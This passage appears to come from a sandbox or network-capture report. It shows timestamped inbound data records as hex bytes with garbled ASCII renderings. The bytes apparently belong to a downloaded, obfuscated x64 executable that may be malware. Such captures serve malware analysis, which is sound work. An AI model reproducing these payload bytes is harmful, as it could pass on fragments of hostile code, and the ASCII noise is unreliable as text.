0d 86 a9 4c 00 c9 df 56 0d d7 3b 6d cf 91 47 21 1a 76 6e 6a 97 36 4c 5f c6 6b 7a 90 41 75 21 ff 9a 0b a3 2e 43 dd d3 de ff 32 2d 1f 6d c7 a2 b2 e3 02 e9 Data Ascii: R0Tl`c{&u^\SvL./>-Fl_n\|TL/Q;A^Y$f$oa&EMRma:YSSA>.r4P'-?X,\m{=K&SGZhkLV;mG!vnj6L_kzAu!.C2-m
2023-05-14 02:35:47 UTC	2766	IN	Data Raw: 2f 4e 67 ef 66 be ce 57 5e 95 37 ef 4d 92 37 29 d3 96 f7 37 08 74 fd 8f 4a ba b6 28 17 4b 98 bc 15 62 b1 dd 07 7b fe d1 61 ef 6e ed f7 c6 ea e0 03 52 1e fe 9e d0 d1 0c 69 df 43 be 2c c2 7b 46 29 ed c6 8f 7e 3b 56 19 8c 84 14 77 8b aa 0a 3e a3 55 f7 67 c9 08 af 82 32 ca a9 12 f9 c1 d1 25 2a 17 16 81 69 28 18 d1 41 d6 4c d5 5f 96 7a da 43 f9 f4 5f c5 c6 e1 0c d1 ba cf 63 17 e1 73 ee b5 6d ad db 76 3c e8 9f c0 c4 7e 84 4f 72 fb 58 43 fa d7 77 cf e2 ed 1f 40 a2 2a 20 16 56 c8 8c 15 6f 27 4c 6e b7 ce db f0 d5 74 65 49 0e fe 59 af b1 87 67 4d d6 ee 8c 56 92 97 aa 86 c1 fa af 04 6f 56 6e 4f bf 0e 81 c1 3d 8a c9 4c 1a fb 19 fd 7a 03 63 cd d6 5d 9f 4a be 2f 6f 82 6d e8 2b 45 4d 57 5e 45 9e fc 52 92 25 74 c5 44 0d 7a 50 47 dd 97 45 d9 c7 af 81 50 a9 d7 ba b6 c1 e8 Data Ascii: /NgfW^7M7)7tJ(Kb{anRiC,{F)~;Vw>Ug2%i(AL_zC_csmv<~OrXCw@ Vo'LnteIYgMVoVnO=Lzc]J/om+EMW^ER%tDzPGEP
2023-05-14 02:35:47 UTC	2782	IN	Data Raw: 7d 9b ec ef 6f 68 7a b5 ff 91 4d 34 28 06 af 6a 6a c6 db 3f 0d c4 cb df 53 91 98 a4 3b 7a 29 a6 1f cb 4b 60 b1 cb 74 90 a4 59 ef cb 72 d8 d3 70 d5 14 07 54 fd f9 75 37 50 db 45 a0 02 f0 53 e8 8c c7 90 d7 3e 21 fc ad 9a c4 de c0 8d 90 f9 6d 7c 27 87 ae b9 82 31 bf 67 85 2b c2 0d e4 4c a0 ac 59 58 9f 7b 7f dc 52 ca 65 7e da 0b 62 61 3c e3 21 e3 78 f2 06 d1 37 76 d4 fd 85 a0 fe 6b 22 ac 9d c4 5f d1 ba 20 a6 9d 27 86 26 1c bf f4 b1 61 b0 c7 94 ce 96 c8 8a 02 e0 5e 81 75 82 eb a6 7d aa cd 62 3f 4c 4d 09 62 81 57 61 58 7b 08 fa 41 6d d7 72 6d c2 45 7e 11 be 92 98 6c ed 80 cd f7 4c 3b 66 65 03 f6 9b 7a 37 77 21 68 26 43 a3 5f fb 24 24 d0 f1 c2 c4 4e 7e 8e 59 85 98 dc a3 48 19 92 0e 9c dc 8e bf ff 60 f4 51 37 f9 f8 11 57 fc 67 b1 39 dd 1f ac 87 1c 87 61 9a 5c cf Data Ascii: }ohzM4(jj?S;z)K`tYrpTu7PES>!m\|'1g+LYX{Re~ba<!x7vk"_ '&a^u}b?LMbWaX{AmrmE~lL;fez7w!h&C_$$N~YH`Q7Wg9a\
2023-05-14 02:35:47 UTC	2798	IN	Data Raw: 86 2b e8 54 f0 87 3f e8 23 66 f2 5d 3c 8a f3 24 6b 1b 74 31 40 f4 24 1b bf 88 44 29 02 c5 41 48 51 ab 6c bd 6c ad 65 95 3d 29 e9 4e af 29 76 da 1d a3 99 b2 df 25 ce 5b cd cc 52 fc fe c3 8f 2f 55 e0 4d 68 8b d6 f5 70 63 c2 4e ea c4 e2 3b ca a3 3a 85 77 ef fe a7 a6 0a 59 44 27 96 8b fa e8 b8 0d 84 bc bd be db 40 80 b9 3f 06 ee 82 fc 54 b4 dd eb 47 2e a5 ec 22 77 b4 35 76 cd 22 cf ad 1d 2d 4c 77 0a cc 2c 51 4a 54 11 10 f9 7b a0 bb c0 f0 ea 29 15 38 5c 7f b0 19 74 b4 90 0d 60 3d 2d 8d e4 8b 60 c8 80 fa c9 a6 97 c6 8c 2d 9c d9 57 88 e4 84 0e 49 6f fb d0 a0 03 61 67 c2 a2 37 3e 09 64 1f 6b bb ce b2 c6 c5 34 a5 cd f1 f3 5b 83 46 c8 97 c3 36 e6 7f 55 62 18 b5 94 35 69 fc c0 4e b3 e0 70 9f 3e 97 3a 45 5b 35 f2 15 4e ef c2 9b d2 06 01 79 f2 fe d6 92 56 fe 00 e9 2c Data Ascii: +T?#f]<$kt1@$D)AHQlle=)N)v%[R/UMhpcN;:wYD'@?TG."w5v"-Lw,QJT{)8\t`=-`-WIoag7>dk4[F6Ub5iNp>:E[5NyV,
2023-05-14 02:35:47 UTC	2814	IN	Data Raw: 05 6f 9f 5b 6d bf e7 82 c0 9a f5 e5 4d 07 ff d9 2d d9 d7 1d 45 c0 5d 9f 5a 3a 71 ea 86 79 74 a1 25 4e 77 5f 0b 3e ce 8a cc c1 34 87 6d 0a db 5a 42 d9 ca 6f cd 3a ad 8f 5e 9a a2 aa 86 84 4c ac 05 6c 66 0f 71 b7 4e 9c 65 c4 ef e1 4f aa ca 49 43 6a 56 67 65 cb e9 8f 22 9a a7 24 85 c0 fc b1 0d 6f 9e 1f 6f 5f c9 90 40 45 1d 05 56 8b fb 69 49 fd 97 0f ed c6 97 8c 53 6a ba a2 86 d7 cb ad 13 6b 65 df 45 af ce f4 41 c5 b4 ee 49 ca 93 79 43 0f d4 66 1d c4 d8 1f d1 fa a7 ee 83 c3 0c 95 15 6f 28 0d 6c 73 c7 96 00 ac 54 e5 c7 09 fa 69 5d f1 d7 4c 67 47 f8 8b 50 da 97 ba 86 62 ed ac 55 62 63 1f 00 9f ce 06 c3 c4 44 85 78 aa 4c 19 43 5d d2 65 cd f7 fd 8f c4 3b a7 0a 88 c5 2c ab d3 2f 5e 5d 6e 4f dc 9a c0 23 34 e5 11 0d f9 19 03 92 57 6c 4c c6 75 87 56 3a cd 8a 86 11 6f Data Ascii: o[mM-E]Z:qyt%Nw_>4mZBo:^LlfqNeOICjVge"$oo_@EViISjkeEAIyCfo(lsTi]LgGPbUbcDxLC]e;,/^]nO#4WlLuV:o
2023-05-14 02:35:47 UTC	2830	IN	Data Raw: 0a 6b 67 d4 6f ab c9 2c cc 35 ed d4 0d 2d f8 3d 79 b8 fc 77 cc 56 d0 88 52 1e a2 a8 86 8e ac 2d 0d 7c 65 57 4f 9f ce d2 a1 f1 69 fd 39 0e ab c8 55 c1 55 69 cd ae e0 8b 52 ce 05 a8 95 c3 58 b6 d5 d6 27 18 6f a2 cf e6 c4 15 ed 27 28 27 5b 65 79 f9 57 58 dd c6 b9 8b 5c 98 3f ba 26 c2 ed a2 16 55 13 b4 87 bf c6 d8 c7 c5 78 e0 4f 0a cc d8 c2 f0 d6 5d 0b cf cb 6a d2 58 67 ef da c7 54 ad d6 6e 67 bb 66 b8 82 9a e0 45 f5 e4 4d 06 f9 b4 6f 55 7d 14 4e 88 e4 b5 50 52 57 0b b5 42 e2 ac 17 6d ef 27 cf 3c 67 9a 66 ff b8 6c 7d cd e4 5c 43 07 47 5c cd 86 e2 da 56 22 24 d1 82 bb ba 45 dc cf 00 da 66 bb b4 8e 90 d1 fa e5 25 20 e8 b1 53 dc 96 f3 0c c2 ef f8 d2 ab 47 b1 8a 95 64 ae 11 5f 67 3f b7 3f 40 9b e6 d6 9c 09 e9 f9 7a 52 40 c3 d0 af d9 ce b0 0b b2 3b c8 d2 c6 a7 4c Data Ascii: kgo,5-=ywVR-\|eWOi9UUiRX'o'('[eyWX\?&UxO]jXgTngfEMoU}NPRWBm'<gfl}\CG\V"$Ef% SGd_g??@zR@;L
2023-05-14 02:35:47 UTC	2846	IN	Data Raw: b2 ee 71 d9 3b b7 da 52 b7 93 5e 67 4d c2 bc 39 29 b1 d7 09 2b 7a 68 c6 d3 34 bb 1c f5 f1 a4 ad 75 49 27 4e 53 d6 43 39 c0 29 5c 86 85 0b 82 51 0b 7c fc 57 73 86 35 4a 52 b6 c6 59 e0 ef 15 ac 05 0b 63 7f 3d b8 e0 16 4b c5 60 77 49 8a 65 3d 04 6b d5 a6 ca c6 c5 15 17 23 91 da 26 45 79 f6 64 c5 24 d6 ff b1 0a 3b 93 03 b9 7d 71 0a 43 d6 2c b9 41 fd cd c6 c8 83 0e bf 00 fa 3a c6 6c d1 d8 12 6b 80 ed 1b dd 98 c0 c5 30 fc 45 0d fa 85 7a f2 7d 6d ce ee a6 8e d2 2f 66 a8 96 44 22 dc eb 28 97 5e 43 31 43 43 36 e1 74 aa 4d eb dd d9 48 c7 14 73 77 b6 43 13 57 b3 a7 7d 86 e7 2f 36 81 ee 0c 4f ef e4 3f bd 1e 47 0c b5 3b c8 ff 59 d7 b8 9b 63 11 e6 e0 56 e3 ba a7 d2 ea e8 0f c4 dd 77 3b 5e 58 17 1d e4 f2 03 3d e4 8e 29 3b 43 0d 59 5f 6b b4 26 79 8e 02 ea 3b 6b b7 cc 0d Data Ascii: q;R^gM9)+zh4uI'NSC9)\Q\|Ws5JRYc=K`wIe=k#&Eyd$;}qC,A:lk0Ez}m/fD"(^C1CC6tMHswCW}/6O?G;YcVw;^X=);CY_k&y;k
2023-05-14 02:35:47 UTC	2862	IN	Data Raw: de c4 c1 6f 62 20 68 ab 13 e6 92 5c ae 9d b5 a5 9c 62 69 9e a6 cd 4b b6 69 3a 61 72 e5 cb 4b 55 aa ec cd 1e ac 04 68 4b 22 4f da 4a 06 81 5d 78 a1 71 73 9c ee 8e 7b 56 30 b1 00 55 67 2a d6 5d e6 36 01 a6 8a 36 b8 76 2b 4e 30 1d bb 83 5f 60 4a 42 21 1a ee 4d 8b 70 b5 31 3e 43 65 9e 4b 54 66 67 69 a6 0c 7e e1 6a 45 4a ac 2c be 01 34 2a aa 72 b1 92 22 2d 6b 76 50 b0 01 33 68 46 ca 29 a6 e4 83 96 a6 34 68 a6 d4 ce 89 16 ae 69 aa b8 90 34 11 9e 2e 0c 61 76 f1 09 11 53 95 cb e2 d5 e8 ec 41 a2 46 b4 62 6d 68 46 da 9c 1d 4b 5d be a2 71 71 5b 1c ed 4a ee 30 6a f1 4d 25 77 0a 5e 7f 65 c1 a2 94 04 78 eb f5 0e d2 3c a8 87 5d 96 80 72 5e aa 2d 41 43 7a b1 7d 41 53 af 48 cb 95 f3 fc 01 e6 8c c2 6b 6a 63 58 ca dc ee 81 51 cc a6 d0 61 86 2e c5 cb 76 95 d3 0d 57 67 32 8a Data Ascii: ob h\biKi:arKUhK"OJ]xqs{V0Ug]66v+N0_`JB!Mp1>CeKTfgi~jEJ,4r"-kvP3hF)4hi4.avSAFbmhFK]qq[J0jM%w^ex<]r^-ACz}ASHkjcXQa.vWg2
2023-05-14 02:35:47 UTC	2878	IN	Data Raw: e6 d4 c5 a2 ec 1c 78 6b 3b cf d3 9c cf ed 5c 20 0f 32 71 2e 2d 57 97 a2 b3 31 9e d2 65 8a c1 35 e5 8c 81 a6 f6 37 69 ab 32 1e d5 14 69 97 5d c8 a9 76 71 d7 4e 4d 2b 74 b3 e1 15 5b 65 fa 0a 5c a6 e1 c5 c6 a1 24 68 7f 22 4d b2 17 a6 41 3c 80 a0 5a 72 91 ae 55 5b 76 6f 71 01 53 63 4c ca 6d c6 e4 2e 27 8c 94 67 0b 23 5e 36 9c a2 83 5c a0 be e2 72 7e ae 4d ab 3e bf f9 20 93 6c 5a 5e 56 d1 ed c5 a6 fd 34 7a 68 22 0e 62 00 7e c5 7d a1 a3 73 51 92 2a 4d 22 16 b1 32 00 b3 6a 4e ca 17 86 e4 69 97 8b 20 ca 52 53 c5 53 1b 96 da 5d 80 67 01 f1 88 af c5 ab 7f b9 b1 33 b9 65 43 c8 4b e6 f9 d1 26 a1 e1 e9 67 2b 44 1e 3c 8e 81 3b 0e a3 55 79 ba 2e 17 0b 76 b1 55 06 55 c5 42 8f 14 e6 96 c3 a7 4c 7d 40 9b a3 ce d2 c8 ab 83 dd 94 90 72 d9 9f 2f 75 99 6b e1 70 61 53 f5 48 c8 Data Ascii: xk;\ 2q.-W1e57i2i]vqNM+t[e\$h"MA<ZrU[voqScLm.'g#^6\r~M> lZ^V4zh"b~}sQ*M"2jNi RSS]g3eCK&g+D<;Uy.vUUBL}@r/ukpaSH
2023-05-14 02:35:47 UTC	2894	IN	Data Raw: 20 a4 c3 dd 74 3c c5 90 0e 17 ce ec e2 33 96 eb 24 cc 3a fd 83 00 b4 e8 5f e5 d6 42 48 dc 4d 1a 1e 90 73 a4 a9 81 1b 09 6c 3a db 06 b2 5e 95 2e af 1f b2 b9 c2 20 a5 0a e4 97 f8 5c d2 e6 49 29 da 53 b1 0e 70 90 c9 77 10 b0 04 65 07 d8 95 f3 0b e4 79 3b dc 6c af 5a 6d da 63 bc c0 3e 3f 28 47 28 c1 2b 1a 85 67 b0 dd e2 9b 82 31 e0 e4 02 42 be 45 1d 33 5e 69 d9 5d 0c 92 a5 b0 46 c3 b3 06 76 34 f8 3c b0 e9 fe 86 f6 6d bf 78 fd a8 a8 1e 0b 20 e6 57 3d 8a 4b 05 0f 4e c6 c4 87 b9 e5 b9 98 67 79 38 19 f9 db 47 70 32 60 12 06 4b 68 5c 62 83 d5 db f4 9a 0b 54 29 6d 4b 39 5c 5c c3 80 5b 3f e5 db 3e f1 c2 c9 da 8c 00 17 dd aa 84 4e 5d c9 94 8a 3a cf 6d 8f 13 f2 f1 3d ce b3 44 89 ff 17 e1 a9 8d 97 a1 6d 52 68 dd 51 3f e3 71 d9 5f cd a6 18 64 9d 2d 8c 55 44 5f fa 27 fd Data Ascii: t<3$:_BHMsl:^. \I)Spwey;lZmc>?(G(+g1BE3^i]Fv4<mx W=KNgy8Gp2`Kh\bT)mK9\\[?>N]:m=DmRhQ?q_d-UD_'
2023-05-14 02:35:47 UTC	2910	IN	Data Raw: af 1a 7c 96 5b f0 e8 d1 f5 91 6d 9b 61 37 d4 99 61 ee fe 1b d9 bf 6a 69 13 c7 f1 67 6b 83 8b f9 fb de f9 ae 7f b6 b4 72 4a 1c 2a 12 12 07 b8 ef 4b 93 11 67 4c d8 ad 91 21 01 8a 79 0b ee 5c 53 7e bc 85 7a 12 4a 05 5c 7f 66 d0 1a 03 1a c7 82 07 fb 32 51 cf 79 e8 8a da 92 ad 86 54 c7 2b a0 53 7e 26 6f 56 83 cd b0 1b b9 b9 00 03 0d 1c 05 6b 45 b0 9f c3 12 cc 9d 74 5d c4 63 03 cc 5c 0c ef 19 5a 85 eb 2d fd b5 4d 3b 3a 87 f7 31 1a be 8b cb 87 a9 d8 b1 5b e9 f1 5d 8f 39 63 d3 c2 fe 4e f9 00 18 69 89 1b 1f 01 6a 76 54 58 d1 24 5b 5d 5f 4b 4d d9 d2 86 2d a8 6e 89 fc 89 41 6f b4 a4 6c a3 1f ec 8a d8 28 4f c8 a0 5c 88 be e9 9e a8 2f 03 a6 90 3c 30 4f 5a 1d ed 41 78 a9 a7 6f 14 88 b4 db 48 89 8d 87 c7 ee fa a1 02 d1 3a a3 d9 7c c5 a3 98 bc 6b eb 2a 12 b3 1a e7 a2 6e Data Ascii: \|[ma7ajigkrJKgL!y\S~zJ\f2QyT+S~&oVkEt]c\Z-M;:1[]9cNijvTX$[]_KM-nAol(O\/<0OZAxoH:\|kn
2023-05-14 02:35:47 UTC	2926	IN	Data Raw: 08 1b ce 1d 55 6b 85 da 71 b2 33 bf da 16 e6 7d 40 06 11 2b 8e e7 eb 26 d3 07 d9 79 74 b8 ed c7 0c 80 41 ae 16 e4 64 4c dc 9f bf 7b 93 29 b5 9d 0e 2f 11 a1 da 40 c9 0a cd 36 03 4a 8a 9e 38 9a 79 d1 25 de 65 b4 c8 19 cd 5a 0b d5 08 1f 0a 9a 55 9a ac 65 55 f2 bc c1 6c f4 51 43 16 8c 0a 71 40 41 52 81 dd 89 2d 31 c2 02 ff b5 f7 b5 90 02 29 c8 88 5d 11 d7 22 1e e5 f8 c6 06 90 ed 0c cc df 95 c8 b9 ea 20 e1 36 1d 3c 04 71 1f 2b 29 9a 9c aa a1 58 c2 67 72 05 bd 86 5f a8 96 9c 47 e8 d9 91 27 db 6c 06 f7 e0 f1 79 2d 47 40 a9 ff a3 c2 26 a0 35 06 fe 5e a7 6c 8b 2e ed b8 23 60 a0 1b 03 77 eb b9 f8 2a 5d 35 be 13 ac e4 49 5d ab 3b 0e 16 dc 3e 14 a8 6d 4d 43 99 00 8b 2b 23 c7 10 ba 2d 88 de b1 af b0 13 b8 b6 af 8f ef 85 80 3a 90 57 54 fa 26 af 74 48 f9 e9 fa cd 5c 10 Data Ascii: Ukq3}@+&ytAdL{)/@6J8y%eZUeUlQCq@AR-1)]" 6<q+)Xgr_G'ly-G@&5^l.#`w*]5I];>mMC+#-:WT&tH\
2023-05-14 02:35:47 UTC	2942	IN	Data Raw: 4b 4f 76 e9 e9 ab 09 5d 43 93 c9 13 1a df 0b 7f 8a 7c c5 a6 ce e4 3b 73 bd cc c1 3d 5e d6 7e ee 61 86 88 0c 37 02 ca fc 5f 40 7d 27 4b 14 04 7c 56 5e 25 83 78 61 88 d5 53 d0 21 7f fb 5e cf 6b 64 f2 48 6e 5c 73 f0 eb aa f4 25 7a e0 69 7e 52 4b f4 b6 37 9f 82 3c c1 58 fd b1 63 71 ee f3 df 76 80 24 db a1 ed 8c d0 0a 51 4e be 42 dd 3b cc 3d 19 5d 73 cf 83 95 87 85 a4 60 a9 0e d3 41 4d 3f 50 14 8b 71 82 3b 6d 59 d0 c3 06 e2 d3 4a 24 a0 3c 2c 31 09 33 4c c0 3e 06 cc a6 10 4f a9 73 c6 d6 01 b1 00 c1 37 73 bf 62 b8 58 0a f3 88 c2 79 29 30 2a a3 84 2a 01 fd 86 76 aa 9f ad ee 8e 5a 69 26 00 b9 95 ee 43 89 d6 7a 2d 7c 5b 5e 3d 6e c3 ac a7 e1 83 9c 75 4e 22 9a 1d f2 97 82 46 3e 6f b0 63 fb be f9 72 48 cc 41 72 71 1a 24 2b b2 ce 28 f5 b4 0f 62 7f f9 e7 98 ee d5 a1 dd Data Ascii: KOv]C\|;s=^~a7_@}'K\|V^%xaS!^kdHn\s%zi~RK7<Xcqv$QNB;=]s`AM?Pq;mYJ$<,13L>Os7sbXy)0**vZi&Cz-\|[^=nuN"F>ocrHArq$+(b
2023-05-14 02:35:47 UTC	2958	IN	Data Raw: 1b f8 35 df 33 a8 a9 f0 dd f3 a3 36 5a 3d 07 db 5c 08 90 85 c3 f9 0a e2 0d 8d 00 e4 58 e6 03 6e 87 18 00 35 74 8a 09 73 cf f2 0d a6 52 25 96 9f dc dd 30 20 02 69 04 4f 2d be d0 6a 70 e0 09 76 32 85 c0 b7 7f 51 ff 92 13 c2 93 fc d9 ac 5f aa 84 77 25 c6 1c 70 e9 1a 95 f5 20 9e e7 f6 a7 44 70 3a c4 9d b6 a9 dc 6c d8 d7 92 cc 6a c8 5a 9c ca b2 48 75 1b c8 9a 0e c4 90 89 8d 03 f2 12 58 99 cb 3e b9 6b 8d b5 98 ce cb 87 2a 4d ea 5c 57 46 5f 7e 71 91 f9 89 48 17 cd bc 01 14 57 34 a1 2a 53 cd b7 01 4a 2c 26 98 77 b6 21 04 bc 41 b9 13 40 40 74 c1 cc 2c 8d 55 02 40 0e 7d f2 0e ee a9 5c 01 82 f0 68 89 e7 51 b2 99 5d 8c b7 4c a2 cc e2 ef bd bd 67 1e 91 58 64 41 7d 0c e3 58 cb 86 4e b3 bd 38 36 e4 2d 9b 5f 20 97 38 e6 15 a8 f3 5c fe 4b 88 b0 6c 95 7f 1c 74 fd 42 93 8e Data Ascii: 536Z=\Xn5tsR%0 iO-jpv2Q_w%p Dp:ljZHuX>kM\WF_~qHW4SJ,&w!A@@t,U@}\hQ]LgXdA}XN86-_ 8\KltB
2023-05-14 02:35:47 UTC	2974	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-14 02:35:47 UTC	2990	IN	Data Raw: d0 c3 13 00 10 16 04 00 57 16 04 00 d8 c3 13 00 a0 16 04 00 62 17 04 00 ec c3 13 00 70 17 04 00 04 18 04 00 f4 c3 13 00 30 18 04 00 bc 18 04 00 cc c1 13 00 c0 18 04 00 c7 19 04 00 74 c2 13 00 d0 19 04 00 09 1a 04 00 8c c2 13 00 10 1a 04 00 5e 1a 04 00 b0 c1 13 00 60 1a 04 00 29 1b 04 00 b8 c1 13 00 30 1b 04 00 5c 1e 04 00 48 c2 13 00 60 1e 04 00 3b 1f 04 00 fc c1 13 00 40 1f 04 00 63 1f 04 00 14 c2 13 00 63 1f 04 00 c3 1f 04 00 24 c2 13 00 c3 1f 04 00 32 20 04 00 38 c2 13 00 40 20 04 00 50 21 04 00 e0 c1 13 00 50 21 04 00 a2 21 04 00 d8 c1 13 00 b0 21 04 00 65 22 04 00 60 c2 13 00 70 22 04 00 1f 23 04 00 e0 c3 13 00 20 23 04 00 a1 23 04 00 fc c3 13 00 b0 23 04 00 da 23 04 00 a8 c1 13 00 e0 23 04 00 3d 24 04 00 a0 c1 13 00 40 24 04 00 8b 24 04 00 98 c1 13 Data Ascii: Wbp0t^`)0\H`;@cc$2 8@ P!P!!!e"`p"# #####=$@$$
2023-05-14 02:35:47 UTC	3006	IN	Data Raw: 68 cc 08 00 87 cc 08 00 50 1c 14 00 88 cc 08 00 d5 cc 08 00 48 1c 14 00 d8 cc 08 00 f1 cc 08 00 24 1c 14 00 f4 cc 08 00 b3 cd 08 00 2c 1c 14 00 b4 cd 08 00 01 ce 08 00 3c 1c 14 00 04 ce 08 00 4b ce 08 00 14 1c 14 00 4c ce 08 00 6e ce 08 00 1c 1c 14 00 80 ce 08 00 98 ce 08 00 78 1c 14 00 a0 ce 08 00 a1 ce 08 00 7c 1c 14 00 b0 ce 08 00 b1 ce 08 00 80 1c 14 00 34 cf 08 00 8f cf 08 00 84 1c 14 00 90 cf 08 00 c2 cf 08 00 90 1c 14 00 e0 cf 08 00 17 d0 08 00 98 1c 14 00 34 d0 08 00 74 d0 08 00 08 22 14 00 8c d0 08 00 cc d0 08 00 18 22 14 00 cc d0 08 00 3e d1 08 00 c8 22 14 00 40 d1 08 00 80 d1 08 00 10 22 14 00 80 d1 08 00 f2 d1 08 00 d8 22 14 00 24 d2 08 00 86 d2 08 00 94 22 14 00 88 d2 08 00 ea d2 08 00 ac 22 14 00 ec d2 08 00 4e d3 08 00 7c 22 14 00 50 d3 08 Data Ascii: hPH$,<KLnx\|44t"">"@""$""N\|"P
2023-05-14 02:35:47 UTC	3022	IN	Data Raw: 71 de 0d 00 28 6c 14 00 74 de 0d 00 e5 de 0d 00 3c 6c 14 00 e8 de 0d 00 28 df 0d 00 50 6c 14 00 28 df 0d 00 5b df 0d 00 58 6c 14 00 5c df 0d 00 ab df 0d 00 60 6c 14 00 ac df 0d 00 ee df 0d 00 8c 6c 14 00 f0 df 0d 00 5d e0 0d 00 94 6c 14 00 60 e0 0d 00 8e e0 0d 00 a0 6c 14 00 90 e0 0d 00 be e0 0d 00 b0 6c 14 00 c0 e0 0d 00 1a e2 0d 00 a8 6c 14 00 1c e2 0d 00 94 e2 0d 00 b8 6c 14 00 94 e2 0d 00 c5 e2 0d 00 08 6b 14 00 c8 e2 0d 00 8e e3 0d 00 c0 6c 14 00 90 e3 0d 00 d1 e3 0d 00 10 6b 14 00 d4 e3 0d 00 85 e4 0d 00 88 6d 14 00 88 e4 0d 00 c8 e4 0d 00 b4 6d 14 00 e4 e4 0d 00 d1 e5 0d 00 f0 6d 14 00 d4 e5 0d 00 e0 e6 0d 00 0c 6e 14 00 e0 e6 0d 00 1b e7 0d 00 bc 6d 14 00 1c e7 0d 00 5c e7 0d 00 e4 6d 14 00 5c e7 0d 00 da e8 0d 00 24 6e 14 00 e4 e8 0d 00 56 e9 0d Data Ascii: q(lt<l(Pl([Xl\`ll]l`llllklkmmmnm\m\$nV
2023-05-14 02:35:47 UTC	3038	IN	Data Raw: 0b fe ff e8 1c 6d 00 00 1b 68 9a 0b fe ff e8 11 6d 00 00 6d 68 4c 0b fe ff e8 06 6d 00 00 84 68 2d 0b fe ff e8 fb 6c 00 00 61 68 d0 0a fe ff e8 f0 6c 00 00 cf 68 8b 0a fe ff e8 e5 6c 00 00 62 68 54 0a fe ff e8 da 6c 00 00 26 68 06 0a fe ff e8 cf 6c 00 00 12 68 b8 09 fe ff e8 c4 6c 00 00 1c 68 99 09 fe ff e8 b9 6c 00 00 70 68 3d 09 fe ff e8 ae 6c 00 00 c2 68 23 09 fe ff e8 a3 6c 00 00 72 68 bf 08 fe ff e8 98 6c 00 00 4c 68 0f 08 fe ff e8 8d 6c 00 00 1c 68 ed 07 fe ff e8 82 6c 00 00 68 68 ce 07 fe ff e8 77 6c 00 00 92 68 a7 07 fe ff e8 6c 6c 00 00 25 68 6d 07 fe ff e8 61 6c 00 00 72 68 3a 07 fe ff e8 56 6c 00 00 dd 68 9a 06 fe ff e8 4b 6c 00 00 52 68 35 06 fe ff e8 40 6c 00 00 7c 68 02 06 fe ff e8 35 6c 00 00 62 68 6f 05 fe ff e8 2a 6c 00 00 7f 68 17 01 fe Data Ascii: mhmmhLmh-lahlhlbhTl&hlhlhlph=lh#lrhlLhlhlhhwlhll%hmalrh:VlhKlRh5@l\|h5lbho*lh
2023-05-14 02:35:47 UTC	3054	IN	Data Raw: 19 f6 80 48 8d 64 24 08 e9 05 00 00 00 b0 ad 22 b7 15 9d e9 03 00 00 00 e9 ed e5 9c f9 eb 05 2c 80 f6 3c eb 72 07 3e 50 8f f1 1d f5 5c e8 05 00 00 00 37 aa 12 59 33 48 83 04 24 1f f9 e9 05 00 00 00 58 c2 65 cc 7a 72 04 4b 5a dd 6c c3 cb 34 c1 9d e9 05 00 00 00 6b db 70 18 f1 e9 04 00 00 00 7f fa 98 96 0f 86 05 f3 ff ff 48 83 c7 04 48 8b ec 48 83 c5 68 e9 02 00 00 00 25 7d 48 8d 64 24 f8 e9 04 00 00 00 a1 f8 35 52 48 89 04 24 9f eb 06 c0 41 58 c6 32 24 e9 07 00 00 00 c0 27 9f 63 47 d3 5f e8 07 00 00 00 57 86 37 2f 4f ea 74 48 8d 64 24 08 9e 58 eb 07 e5 a3 9e ad ca 97 5e 48 89 7d 00 e9 02 00 00 00 15 de 9c eb 06 bc 63 ce ec b3 30 e9 06 00 00 00 2e 51 2f 62 54 60 e8 03 00 00 00 a8 44 82 48 83 04 24 16 f8 73 03 28 88 f2 c3 61 4e f3 67 53 2c 7f e9 03 00 00 00 Data Ascii: Hd$",<r>P\7Y3H$XezrKZl4kpHHHh%}Hd$5RH$AX2$'cG_W7/OtHd$X^H}c0.Q/bT`DH$s(aNgS,
2023-05-14 02:35:47 UTC	3070	IN	Data Raw: 48 ff c4 48 ff c4 f9 eb 03 65 2c df 72 05 a2 c9 6d 5c 31 eb 06 f7 99 2e 5a 50 ad e9 02 00 00 00 ee fd 9e 48 8b 04 24 eb 06 26 c8 ee 67 9f 62 48 8d 64 24 08 e9 06 00 00 00 4a 87 cf bc ef 4c eb 02 84 29 48 33 db 8b 1a 48 2b cb 48 ff c7 48 8d 64 24 f8 eb 06 19 64 c6 9e 94 d2 48 89 04 24 eb 05 27 75 fa 65 56 9f f9 eb 06 a6 f8 57 31 48 fb 72 07 ca 2e de df d6 83 a4 e8 02 00 00 00 22 7b 48 ff c4 38 f6 74 07 35 51 d9 a7 8a 36 6e 48 ff c4 38 f6 74 04 93 3d 9c 4f 48 ff c4 f8 73 06 9b 2a 53 77 94 4c 48 ff c4 eb 04 a4 6e fa c9 48 ff c4 38 ff eb 07 cc f1 aa af d3 fc 82 74 03 64 71 ed 48 ff c4 f8 73 05 e1 99 f0 88 59 48 ff c4 f9 eb 07 bb b0 e9 5b c7 c3 5c 72 04 9e 5e dd 4b 48 ff c4 38 ff e9 07 00 00 00 a3 89 c4 27 93 65 2f 74 07 66 86 18 c6 9c df 2e eb 04 e9 89 9c a4 Data Ascii: HHe,rm\1.ZPH$&gbHd$JL)H3H+HHd$dH$'ueVW1Hr."{H8t5Q6nH8t=OHs*SwLHnH8tdqHsYH[\r^KH8'e/tf.
